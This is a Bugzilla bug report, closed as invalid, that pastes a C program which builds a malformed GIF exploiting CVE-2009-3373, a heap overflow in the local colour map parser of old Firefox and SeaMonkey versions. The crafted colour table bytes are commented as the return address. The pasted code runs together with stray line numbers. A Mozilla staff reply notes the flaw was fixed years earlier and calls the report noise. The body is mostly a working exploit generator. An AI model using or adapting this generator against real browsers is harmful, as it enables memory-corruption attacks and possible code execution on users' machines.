1034704 - mozilla firefox 3.5.4 : local colour map exploit

Status: RESOLVED INVALID

(Invalid Bugs :: General, defect)

Description

[varun chowdary]

User Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; NOKIA; Lumia 610)

Steps to reproduce:

My name is varun,
This is a heap overflow exploit that leverages a local color map parsing bug in Firefox versions 3.5.4 and below, 3.0.15 and below, and SeaMonkey versions 2.0 and below. 







123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236 

#include <stdio.h>#include <stdlib.h>  /*    x90c local color map 1day exploit      CVE-2009-3373 Firefox local color map 1day exploit    (MFSA 2009-56 Firefox local color map parsing heap overflow)        vulnerable:    - Firefox 3.5.4 <=    - Firefox 3.0.15 <=    - SeaMonkey 2.0 <=        x90c*/  struct _IMAGE{    char GCT_size;          // global color map size    char Background;        // backcolor( select in global color map entry )    char default_pixel_ratio;   // 00    char gct[4][3];         // 4 entries of global color map( 1bit/1pixel )//    char app_ext[19];     // application extension 19bytes ( to enable animation )    char gce[2];            // '!' GCE Label = F9    char ext_data;          // 04 = 4 bytes of extension data    char trans_color_ind;   // use transparent color? ( 0/1 )    char ani_delay[2];      // 00 00 ( micro seconds delay in animation )    char trans;             // color map entry to apply transparent color ( applied first image )    char terminator1;       // 0x00    char image_desc;        // ','    char NW_corner[4];      // 00 00 00 00 (0, 0) image put position    char canvas_size[4];    // 03 00 05 00 ( 3x5 ) logical canvas size    char local_colormap;    // 80 use local color map? ( last bottom 3bits are bits per pixel)    char lct[4][3];         // local color map ( table )    char LZW_min;           // 02   ( LZW data length -1 )    char encoded_image_size;// 03   ( LZW data length )    char image_data[1];     // LZW encoded image data    char terminator2;       // 0x00  } IMAGE;  struct _IMAGE1{    char image_desc;        // ','    char NW_corner[4];      // 00 00 00 00 (0, 0)    char canvas_size[4];    // 03 00 05 00 ( 3x5 )    char local_colormap;    // 00 = no local color map    char lct[7][3];         // local color map           char lcta[1][2];   //    char LZW_min;           // 08//    char encoded_image_size;    // 0B ( 11 bytes )//    char image_data[9];    // encoded image data    //char terminator2;    // 0x00} IMAGE1;    struct _GIF_HEADER{    char MAGIC[6];  // GIF89a    unsigned short canvas_width;    // 03 00    unsigned short canvas_height;   // 05 00    struct _IMAGE image;    struct _IMAGE1 image1;   // char trailler;  // ;      // GIF file trailer} GIF_HEADER;  int main(int argc, char *argv[]){    struct _GIF_HEADER  gif_header;    int i = 0;    // (1) first image frame to LZW data, proper dummy ( it's can't put graphic )//    char data[3] = "\x84\x8F\x59";           char data[3] = "\x00\x00\x00";    // (2) second image frame to LZW data, backcolor changed by reference local color map    char data1[9] = "\x84\x8F\x59\x84\x8F\x59\x84\x8F\x59";          char app_ext[19] = "\x21\xFF\x0B\x4E\x45\x54\x53\x43\x41\x50\x45\x32\x2E\x30\x03\x01\x00\x00\x00";  // animation tag ( not use )    FILE *fp;      memset(&gif_header, 0, sizeof(gif_header));      // MAGIC    ( GIF87a ) last version - support alpha value(transparency)    gif_header.MAGIC[0] = '\x47';    gif_header.MAGIC[1] = '\x49';    gif_header.MAGIC[2] = '\x46';    gif_header.MAGIC[3] = '\x38';    gif_header.MAGIC[4] = '\x39';    gif_header.MAGIC[5] = '\x61';      // LOGICAL CANVAS    gif_header.canvas_width = 3;        // global canvas width length    gif_header.canvas_height = 5;       // height length      // GLOBAL HEADER ( included global header, if local color map exists, not used global color map )     gif_header.image.GCT_size = '\x81';    // 81     gif_header.image.Background = '\x00';   // global color table #2 ( black )     gif_header.image.default_pixel_ratio = '\x00';        // 00 ( Default pixel aspect ratio )    // gct ( [200][3] )              gif_header.image.gct[0][0] = '\x43';    gif_header.image.gct[0][1] = '\x43';    gif_header.image.gct[0][2] = '\x43';      gif_header.image.gct[1][0] = '\x43';    gif_header.image.gct[1][1] = '\x43';    gif_header.image.gct[1][2] = '\x43';      gif_header.image.gct[2][0] = '\x43';    gif_header.image.gct[2][1] = '\x43';    gif_header.image.gct[2][2] = '\x43';          gif_header.image.gct[3][0] = '\x43';    gif_header.image.gct[3][1] = '\x43';    gif_header.image.gct[3][2] = '\x43';     /* for(i = 0; i < 19; i++)    {        gif_header.image.app_ext[i] = app_ext[i];    }*/      gif_header.image.gce[0] = '!';    gif_header.image.gce[1] = '\xF9';    gif_header.image.ext_data = '\x04';    gif_header.image.trans_color_ind = '\x00';  // no use transparent color    gif_header.image.ani_delay[0] = '\x00'; // C8 = 2 seconds delay ( animation )    gif_header.image.ani_delay[1] = '\x00';    gif_header.image.trans = '\x00';            // no use transparent color ( color map )    gif_header.image.terminator1 = '\x00';      // IMAGE Header    gif_header.image.image_desc = ',';    gif_header.image.NW_corner[0] = '\x00';     // 0,0 position    gif_header.image.NW_corner[1] = '\x00';    gif_header.image.NW_corner[2] = '\x00';    gif_header.image.NW_corner[3] = '\x00';    gif_header.image.canvas_size[0] = '\x03';   // 3 x 5 canvas    gif_header.image.canvas_size[1] = '\x00';    gif_header.image.canvas_size[2] = '\x05';    gif_header.image.canvas_size[3] = '\x00';            gif_header.image.local_colormap = 0x80;    // use local color map//    gif_header.image.local_colormap |= 0x40;    // image formatted in Interlaced order    //gif_header.image.local_colormap |= 0x4;     // pixel of local color map    //gif_header.image.local_colormap |= 0x2; // 2 bits.    gif_header.image.local_colormap |= 0x1; // bits per pixel. ( black/white )    gif_header.image.lct[0][0] = '\x42';    // R ( red )    gif_header.image.lct[0][1] = '\x42';    gif_header.image.lct[0][2] = '\x42';    gif_header.image.lct[1][0] = '\x42';    gif_header.image.lct[1][1] = '\x42';    // G ( green )    gif_header.image.lct[1][2] = '\x42';    // b ( blue )    gif_header.image.lct[2][0] = '\x42';    gif_header.image.lct[2][1] = '\x42';    gif_header.image.lct[2][2] = '\x42';    gif_header.image.lct[3][0] = '\x42';    gif_header.image.lct[3][1] = '\x42';    gif_header.image.lct[3][2] = '\x42';      // RASTER DATA    gif_header.image.LZW_min = '\x00';  // total encode data - 1    gif_header.image.encoded_image_size = '\x01';   // 255 bytes    // encoded data    for(i = 0; i < 1; i++)    {        gif_header.image.image_data[i] = 0xFF;    }      // RASTER DATA EOF    gif_header.image.terminator2 = '\x00';      // --------------------------------------------------          // ------------- IMAGE1 -----------------------------    gif_header.image1.image_desc = ',';    gif_header.image1.NW_corner[0] = '\x00';    // (0, 0)    gif_header.image1.NW_corner[1] = '\x00';    gif_header.image1.NW_corner[2] = '\x00';    gif_header.image1.NW_corner[3] = '\x00';    gif_header.image1.canvas_size[0] = '\x03';  // 3 x 5    gif_header.image1.canvas_size[1] = '\x00';    gif_header.image1.canvas_size[2] = '\x05';    gif_header.image1.canvas_size[3] = '\x00';    gif_header.image1.local_colormap = 0x80;    // use local color map//    gif_header.image1.local_colormap |= 0x40;    // image formatted in Interlaced order    //gif_header.image1.local_colormap |= 0x4;     // pixel of local color map 4 pixel    gif_header.image1.local_colormap |= 0x2;    //gif_header.image1.local_colormap |= 0x1;    // 1bit per pixel.      // below values are will used as return addr    for(i = 0; i < 7; i++)       // second image frame's local color map entry length is 8    {        gif_header.image1.lct[i][0] = '\x0c';   // (RET & 0x00FF0000)        gif_header.image1.lct[i][1] = '\x0c';   // (RET & 0xFF00FF00)        gif_header.image1.lct[i][2] = '\x0c';   // (RET & 0X000000FF)    }    gif_header.image1.lcta[0][0] = '\x0c';    gif_header.image1.lcta[0][1] = '\x0c';    //}           // RASTER DATA    //gif_header.image1.LZW_min = 0x00;//'\x05';    //gif_header.image1.encoded_image_size = 0x00;//'\x06';*/      // encoded data/*    for(i = 0; i < 9; i++)    {        gif_header.image1.image_data[i] = 0xFF;//data1[i];    }*/      // RASTER DATA    // second image frame's last byte ignored ( null terminatee, GIF total trailer )    //gif_header.image1.terminator2 = '\x00';      //gif_header.trailler = ';';        // --------------------------------------------------      fp = fopen("a.gif", "wb");      printf("%d\n", sizeof(struct _GIF_HEADER));      fwrite(&gif_header, sizeof(struct _GIF_HEADER) - 1, 1, fp);      fclose(fp);      system("xxd ./a.gif");  } 



Actual results:

local color map exploit

Comment 1

[Bob Clary [:bc] (inactive)]

You are reporting an issue that is already publicly reported and fixed over 3 years ago.

Please do not play in bugzilla.mozilla.org. It is a production bug tracking
system used by the mozilla community to support development of Firefox and
other projects used by hundreds of millions of people. You add noise and
annoyance playing here. If you want to learn how to use bugzilla, please use
our testing environment on landfill.bugzilla.org.